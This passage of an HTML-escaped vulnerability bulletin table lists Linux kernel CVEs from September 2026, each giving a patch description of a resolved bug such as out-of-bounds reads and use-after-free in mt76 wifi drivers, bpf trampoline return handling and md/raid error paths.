&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90349&quot; target=&quot;_blank&quot;&gt;CVE-2026-90349&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: reject out-of-range link ids in mt76_vif_link() mt76_vif_link() indexes mvif-&amp;gt;link[] without validating link_id, but callers pass mvif-&amp;gt;deflink_id / msta-&amp;gt;deflink_id, which hold IEEE80211_LINK_UNSPECIFIED (0xf) until the first link has been added. Since IEEE80211_MLD_MAX_NUM_LINKS is 15, that reads one element past the end of the array, aliasing mt76_vif_data.offchannel_link. Reachable via mt7996_set_tsf()/mt7996_offset_tsf() and mt7996_net_fill_forward_path(). Bounds check link_id and return NULL, matching mt7996_sta_link() and mt7996_sta_link_protected().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90350&quot; target=&quot;_blank&quot;&gt;CVE-2026-90350&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: do not attach hif2 WED when the main WED attach failed If the WED attach for the primary PCIe function fails, the probe path still attached wed_hif2 for the secondary function, leaving the device in an inconsistent half-WED configuration that crashes later. The hif2 call also re-enabled hwrro_mode, which the failed primary attach had just turned off. Skip the hif2 WED setup when the primary WED device is not active.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90351&quot; target=&quot;_blank&quot;&gt;CVE-2026-90351&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: release hif2 reference on probe IRQ failure The hif2 reference obtained by mt7915_pci_init_hif2() is only released on error paths that key off dev-&amp;gt;hif2, which is not assigned until after the IRQ setup. If pci_alloc_irq_vectors() or the primary devm_request_irq() fails, the reference leaks. Drop it explicitly on those paths via mt7915_put_hif2().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90352&quot; target=&quot;_blank&quot;&gt;CVE-2026-90352&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: fix double hif2 init on the non-WED path mt7915_pci_init_hif2() was called unconditionally and again inside the WED-inactive branch. The helper increments the global hif_idx, writes the PCIe RECOG_ID register and takes a get_device() reference via mt7915_pci_get_hif2(), while removal only drops one reference. On non-WED dual-hif hardware this double-incremented hif_idx, wrote RECOG_ID twice and leaked a device reference. Only the call inside the WED-inactive branch is correct; drop the unconditional one. hif2 is already initialised to NULL.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90354&quot; target=&quot;_blank&quot;&gt;CVE-2026-90354&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: clear stale link state on full reset After a full chip reset, mac80211 reconfig replays interface, link and channel context setup. mt7996_vif_link_add() short-circuits when the link_id is still marked in mvif-&amp;gt;valid_links, a state introduced for postponing link teardown to interface removal. The reset path frees the link structures without clearing those bits, so the replayed setup never re-creates dev_info/bss_info/STA records in the restarted firmware and never re-registers the link wcid, leaving the device inoperative. The reset path also leaks every allocated MLD index: per-link indices and the per-vif group/remap indices are re-allocated from scratch during reconfig, but the old bits stay set in the masks, so repeated full resets exhaust the index space. Clear valid_links in the reset vif iterator and reset the MLD index masks alongside the existing omac_mask clearing.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90355&quot; target=&quot;_blank&quot;&gt;CVE-2026-90355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: free vif links after clearing wcid entries on full reset mt7996_mac_reset_vif_iter() queues non-default vif links for kfree_rcu while dev-&amp;gt;wcid[] still holds pointers to the wcid embedded in each freed link; mt76_reset_device() then dereferences those entries and runs mt76_wcid_cleanup() on them. If a grace period elapses in between, the cleanup operates on freed memory. Run mt76_reset_device() first, so the wcid entries are cleaned up and cleared while the links are still valid.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90356&quot; target=&quot;_blank&quot;&gt;CVE-2026-90356&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Reject &amp;gt;8 byte return values on return-reading trampoline paths btf_distill_func_proto() builds the function model used for the fentry/fexit/fmod_ret/fsession trampolines and struct_ops. It has accepted a 16-byte __int128 return value since the trampoline was introduced: __get_type_size() returns the integer&#039;s type size, and the return-type check only rejected ret &amp;lt; 0. But the BPF trampoline preserves only 8 bytes of the return value (RAX on x86, i.e. R0). For an attach type that reads the target&#039;s return value the second half (RDX / R3) is neither saved nor restored, so a program attached to a function returning a 16-byte value corrupts the value seen by the real caller and itself observes only half of it. struct_ops trampolines have the same limitation. This affects the attach types that read the target&#039;s return value: fexit, fmod_ret and fsession (plus the _multi variants of fexit and fsession), and struct_ops. fentry/fentry_multi run before the target returns and are unaffected. Reject a &amp;gt;8 byte return value for these attach types in bpf_check_attach_target() and bpf_check_attach_btf_id_multi(), and for struct_ops in bpf_struct_ops_desc_init().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90359&quot; target=&quot;_blank&quot;&gt;CVE-2026-90359&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: regulator: core: use system_freezable_wq for init complete work schedule_delayed_work() uses system_wq, which is non-freezable, allowing regulator_init_complete_work to run concurrently with system suspend. This work fires ~30s after boot to disable unused regulators via I2C. When it races with PM suspend, the I2C adapter may already be suspended, triggering a -ESHUTDOWN warning in __i2c_transfer(): WARNING: ... at __i2c_transfer+0x36c/0x3c8 Call trace: __i2c_transfer i2c_transfer regmap_i2c_write _regmap_update_bits regulator_disable_regmap _regulator_do_disable regulator_late_cleanup regulator_init_complete_work_function process_one_work Switch to system_freezable_wq so the work is frozen before any device is suspended, eliminating the race.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90360&quot; target=&quot;_blank&quot;&gt;CVE-2026-90360&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: fix leak in ath11k_service_ready_ext_event() Currently, during ath11k_service_ready_ext_event() processing, svc_rdy_ext.mac_phy_caps can be allocated during TLV parsing. This is a temporary allocation that is freed on the success path, but not on the error path. If parsing succeeds far enough to allocate mac_phy_caps and then fails on a later TLV, the allocation leaks. So free the allocation on the error path. Compile tested only.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90361&quot; target=&quot;_blank&quot;&gt;CVE-2026-90361&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/msm/dsi: Drop dev_pm_opp_set_rate(0) dev_pm_opp_set_rate(0) removes the vote specified in required-opps but does not actually park the clock, making it run without the necessary power backing. Drop the explicit call to it. Every call site of ops-&amp;gt;link_clk_disable() is followed by pm_runtime_put(), so the power vote will be rescinded if deemed safe. Patchwork: https://patchwork.freedesktop.org/patch/742783/&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90362&quot; target=&quot;_blank&quot;&gt;CVE-2026-90362&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/msm: don&#039;t tear down KMS twice when KMS init fails When priv-&amp;gt;kms_init() (mdp4_kms_init() / mdp5_kms_init()) fails partway through, both display drivers already tear their KMS state down via mdp4_destroy() / mdp5_kms_destroy() before returning the error. The common error path in msm_drm_init() then runs msm_drm_uninit() -&amp;gt; msm_drm_kms_uninit(), which tries to destroy the very same KMS a second time, which causes a use-after-free crash. Bring MDP4/MDP5 in line with the DPU driver whose dpu_kms_init() doesn&#039;t perform error cleanup on the failure. Let the common path own the cleanup, instead of freeing the KMS from their error paths. The crash trace for the reference: __lock_acquire from lock_acquire (kernel/locking/lockdep.c:5906 kernel/locking/lockdep.c:5863) lock_acquire from touch_wq_lockdep_map (kernel/workqueue.c:4094 (discriminator 1)) touch_wq_lockdep_map from __flush_workqueue (kernel/workqueue.c:4136) __flush_workqueue from msm_drm_kms_uninit (drivers/gpu/drm/msm/msm_kms.c:243 (discriminator 33)) msm_drm_kms_uninit from msm_drm_uninit (drivers/gpu/drm/msm/msm_drv.c:93) msm_drm_uninit from msm_drm_init (drivers/gpu/drm/msm/msm_drv.c:184) msm_drm_init from try_to_bring_up_aggregate_device (drivers/base/component.c:249 drivers/base/component.c:227) try_to_bring_up_aggregate_device from __component_add (drivers/base/component.c:269 drivers/base/component.c:748) __component_add from dsi_host_attach (drivers/gpu/drm/msm/dsi/dsi_host.c:1739) dsi_host_attach from mipi_dsi_attach (drivers/gpu/drm/drm_mipi_dsi.c:383) mipi_dsi_attach from sharp_nt_panel_probe (drivers/gpu/drm/panel/panel-sharp-ls043t1le01.c:247) Patchwork: https://patchwork.freedesktop.org/patch/742068/&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90363&quot; target=&quot;_blank&quot;&gt;CVE-2026-90363&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPI: processor: Unregister cpufreq notifier on init failure acpi_processor_driver_init() registers the cpufreq policy notifier before registering the ACPI processor driver and setting up CPU hotplug state. If driver_register() or cpuhp_setup_state() fails, the error path only unregisters the ACPI processor driver and the idle driver. The cpufreq notifier remains registered even though initialization failed. Mirror the module exit path on the init failure path and unregister the cpufreq notifier when it has been registered.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90364&quot; target=&quot;_blank&quot;&gt;CVE-2026-90364&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: cancel reset and rc work on device unregister Both drivers cancelled dump_work on unregister but left reset_work and rc_work to be flushed only by destroy_workqueue() in mt76_free_device(), which runs after the hw is unregistered and the hardware stopped. A reset_work that fires in that window calls ieee80211_restart_hw() and re-arms mac_work on an unregistered hw, and rc_work touches station state being torn down. Cancel both up front, alongside dump_work.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90365&quot; target=&quot;_blank&quot;&gt;CVE-2026-90365&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: reserve space for the CSA-abort countdown TLV When a CSA countdown is active, mt7996_mcu_beacon_cntdwn() emits two bss_bcn_cntdwn_tlv entries (the CSA countdown and the CCA-abort BCC), but MT7996_BEACON_UPDATE_SIZE only reserved one. With MBSSID enabled and a near-maximum beacon template the extra 8 bytes could push the offload command past MT7996_MAX_BSS_OFFLOAD_SIZE and trigger skb_over_panic(). Reserve room for both countdown TLVs.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90366&quot; target=&quot;_blank&quot;&gt;CVE-2026-90366&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: unwind state on add_interface failure When mt76_wcid_alloc() fails, mt7915_add_interface() returned without clearing the vif_mask/omac_mask bits it had already set, without removing the firmware dev info added earlier, and without clearing a monitor_vif pointer to the vif mac80211 is about to free. mac80211 does not call remove_interface() for a failed add, so the indices and firmware dev entry leaked permanently and testmode could dereference the stale monitor_vif. Add a proper error unwind.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90368&quot; target=&quot;_blank&quot;&gt;CVE-2026-90368&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: fix out-of-bounds access in mmio copy helpers mt76_mmio_write_copy() and mt76_mmio_read_copy() iterate up to ALIGN(len, 4), so a length that is not a multiple of four reads past the source buffer (write_copy) or writes past the destination (read_copy). Copy the aligned body in the loop and handle the remaining tail through a 4-byte bounce buffer, keeping the register access width unchanged.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90369&quot; target=&quot;_blank&quot;&gt;CVE-2026-90369&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: bound TLV walk in mt7996_mcu_get_chip_config The response TLV loop advanced by tlv-&amp;gt;len without a minimum, so a theoretical firmware response containing a zero-length TLV could spin forever, hanging the CPU during device probe. The u32 payload was also read without bounds checking. Reject a short fixed field, stop on a TLV whose length underruns the header or overruns the skb.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90370&quot; target=&quot;_blank&quot;&gt;CVE-2026-90370&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7915: clear wcid mask under mutex after RCU pointer clear mt7915_remove_interface() cleared the wcid mask bit with no lock held and before clearing the RCU wcid pointer. The mask is a non-atomic RMW shared with the allocators, which all run under dev-&amp;gt;mt76.mutex; on DBDC the two wiphys share one mt76_dev, so this raced add_interface/sta_add on the other band and could leak or double-hand-out a wcid. Clearing the bit before the RCU pointer also let a concurrent allocation reuse the index and publish its wcid, which the subsequent NULL assignment then wiped. Move the clear into the existing mutex section, after the RCU pointer is cleared.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90373&quot; target=&quot;_blank&quot;&gt;CVE-2026-90373&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: validate RX band_idx before dereferencing phys[] band_idx comes from a 2-bit descriptor field (0-3) and was used directly to index dev-&amp;gt;mt76.phys[] (size __MT_MAX_BAND == 3) and dereference the result. A corrupt or reserved descriptor value could index out of bounds or hit a NULL phy on parts with fewer bands. Reject invalid band indices, mirroring mt7996_rx_get_wcid().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90374&quot; target=&quot;_blank&quot;&gt;CVE-2026-90374&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: fix non-AQL packet accounting for MLO stations __mt76_tx_queue_skb() overrides the wcid passed by the driver with sta-&amp;gt;drv_priv, so the wcid might incorrectly be changed after TX, causing wcid-&amp;gt;non_aql_packets to be counted on the wrong wcid. For example, on the AP side, if a station&#039;s setup link is the 5G link and the station uses 2G to transmit a frame, the value of non_aql_packets is increased on the 5G wcid but decreased on the 2G wcid. Once the inflated counter exceeds MT_MAX_NON_AQL_PKT, the TX scheduler permanently refuses to service the station. Drop the reassignment and account on the wcid used for transmission. This also records the actual wcid in the queue entry.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90375&quot; target=&quot;_blank&quot;&gt;CVE-2026-90375&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: fix MLD ID in MAC TXD and HIF TXP Problem: MCU command timeout while the firmware state is normal, and the firmware keeps showing the error log &quot;ERROR!! NO PAUSE...&quot;. Root cause: If the MLD_ID field in the TXD is neither the primary link id nor the secondary link id, it may lead to a firmware busy loop when the third link is in power saving mode. Remap frames directed to a third link to the primary link wcid. Since TX status events and txfree completions carry the wcid the firmware saw, use the remapped wcid for packet id tracking and non-AQL packet accounting as well, while the frame keeps its original link context for addressing, band and OMAC selection.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90376&quot; target=&quot;_blank&quot;&gt;CVE-2026-90376&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: fix RX data queuing of RRO 3.0 For RRO 3.0, RX data released from a RRO data queue should be put to the indicator queue. The frames are processed and completed in the context of the indicator queue NAPI, which only polls skbs queued on the MT_RXQ_RRO_IND list; frames queued under the data queue id are left sitting on that list until the data queue NAPI happens to run, stalling and reordering RX data.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90377&quot; target=&quot;_blank&quot;&gt;CVE-2026-90377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt792x: Fix memory leak in SDIO TX path When tx_prepare_skb() returns an error in the SDIO TX path, the skb is not freed, leading to a memory leak. This can occur when zero-length frames (such as WNM NULL frames) are dropped to prevent potential hardware TX hangs. Fix this by properly releasing the skb with ieee80211_tx_status_ext() when tx_prepare_skb() fails.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90378&quot; target=&quot;_blank&quot;&gt;CVE-2026-90378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt76x02: do not WARN on invalid rx descriptor length The MPDU length in the rx descriptor comes from the hardware. In monitor mode with the fcsfail filter enabled, the hardware passes up corrupted frames, and a corrupted frame can report a length larger than the received buffer. The bounds check correctly discards such frames, but its WARN_ON_ONCE wrapper means any over-the-air garbage frame taints the kernel, and panics it on the first such frame when panic_on_warn is set. Drop the WARN and discard the frame silently, matching what commit c2d4c8723dbf (&quot;mt76x2: remove some harmless WARN_ONs in tx status and rx path&quot;) did for the neighboring rx and tx status paths. Observed immediately on rx with an MT7612U in fcsfail monitor mode on a busy channel.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90382&quot; target=&quot;_blank&quot;&gt;CVE-2026-90382&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iomap: release the folio batch on iomap callback failures A sashiko review of an unrelated patch points out that the folio batch mechanism used for iomap zero range fails to release the batch in a couple error scenarios. If either calls to -&amp;gt;iomap_end() or -&amp;gt;iomap_begin() fail, the direct return paths bypass the batch cleanup. The -&amp;gt;iomap_end() case is not a practical issue at the moment because there is no user of the mechanism that returns an error from this path. The -&amp;gt;iomap_begin() case is theoretically possible because XFS can invoke the fill helper and error out at various points thereafter. This subtly complicates things because XFS does not transfer iomap_flags to the iomap data structure in the error path. To deal with both of these issues, first make sure to invoke the cleanup helper in the error path for either fs callback. Second, update the helper to clear the flag unconditionally and release the batch so long as it is populated. This more clearly delineates the purpose of the flag to control the I/O path and not necessarily the status of the fbatch, so add a comment around this as well.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90384&quot; target=&quot;_blank&quot;&gt;CVE-2026-90384&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md/raid1: create serial pool adding rdev to array with serialize_policy=1 The following bug has been observed with kernel 7.1.3 after adding a new rdev to an existing RAID1 array with serialize_policy enabled: Oops: 0002 [#1] CPU: 0 UID: 0 PID: 19639 Comm: ext4lazyinit Not tainted 7.1.3-1-default RIP: _raw_spin_lock_irqsave+0x27/0x50 CR2: 0000000000004960 Call Trace: wait_for_serialization+0xb9/0x260 [raid1] raid1_make_request+0x762/0xaff [raid1] md_handle_request+0x1c9/0x2e0 [md_mod] The raid1.c code calls wait_for_serialization() if the MD_SERIALIZE_POLICY is set, and wait_for_serialization assumes that rdev-&amp;gt;serial is initialized. Normally this will be the case for arrays that have the serialize_policy sysfs attribute set to 1. But when a new rdev is added to an existing array in bind_rdev_to_array(), the condition at mddev_create_serial_pool() causes creation of rdev-&amp;gt;serial to be skipped. Fix it.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90385&quot; target=&quot;_blank&quot;&gt;CVE-2026-90385&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i3c: dw: avoid shift-out-of-bounds when DAA assigns no devices On an empty bus ENTDAA assigns nothing, so cmd-&amp;gt;rx_len (the count of addresses left unassigned) equals master-&amp;gt;maxdevs. The GENMASK() index master-&amp;gt;maxdevs - cmd-&amp;gt;rx_len - 1 then becomes -1, which trips up UBSAN. This happens every time on boot on a Gigabyte/AMD server: UBSAN: shift-out-of-bounds in drivers/i3c/master/dw-i3c-master.c:905:12 shift exponent 64 is too large for 64-bit type &#039;long unsigned int&#039; CPU: 7 UID: 0 PID: 963 Comm: (udev-worker) Not tainted 7.0.11-200.fc44.x86_64 #1 PREEMPT(lazy) Hardware name: Giga Computing E163-Z34-AAH1-000/MZ33-DC1-000, BIOS R32_F45 04/01/2026 Call Trace: &amp;lt;TASK&amp;gt; dump_stack_lvl+0x5d/0x80 ubsan_epilogue+0x5/0x2b __ubsan_handle_shift_out_of_bounds.cold+0xd7/0x1ab dw_i3c_master_daa.cold+0x1b/0x96 [dw_i3c_master] i3c_master_do_daa_ext.part.0+0x3e/0xf0 [i3c] Skip the mask when no new device was assigned.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90386&quot; target=&quot;_blank&quot;&gt;CVE-2026-90386&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md: scope memalloc_noio to allocation critical sections Storing a memalloc_noio_save() token in mddev-&amp;gt;noio_flags lets one task save the token and another task restore it. With concurrent suspend sysfs writes, task A can enter PF_MEMALLOC_NOIO, return to userspace still in that scope, and later task B can restore A&#039;s saved token. Avoid tying the token lifetime to mddev. Keep mddev_suspend() and mddev_resume() only responsible for array suspension, and enter PF_MEMALLOC_NOIO only in the MD paths that allocate memory after the array has been suspended. Restore the token before resuming the array. A reproducer repeatedly writes suspend_lo and suspend_hi from concurrent workers and checks each worker&#039;s /proc/self/stat flags before and after the sysfs write.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90389&quot; target=&quot;_blank&quot;&gt;CVE-2026-90389&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md/bitmap: resume array on backlog_store() error path backlog_store() suspends the array before checking whether a write-mostly device exists. If no such device exists, the error path only unlocks reconfig_mutex and leaves the array suspended, blocking subsequent I/O. Use mddev_unlock_and_resume() to release both states.&lt;/td&gt;
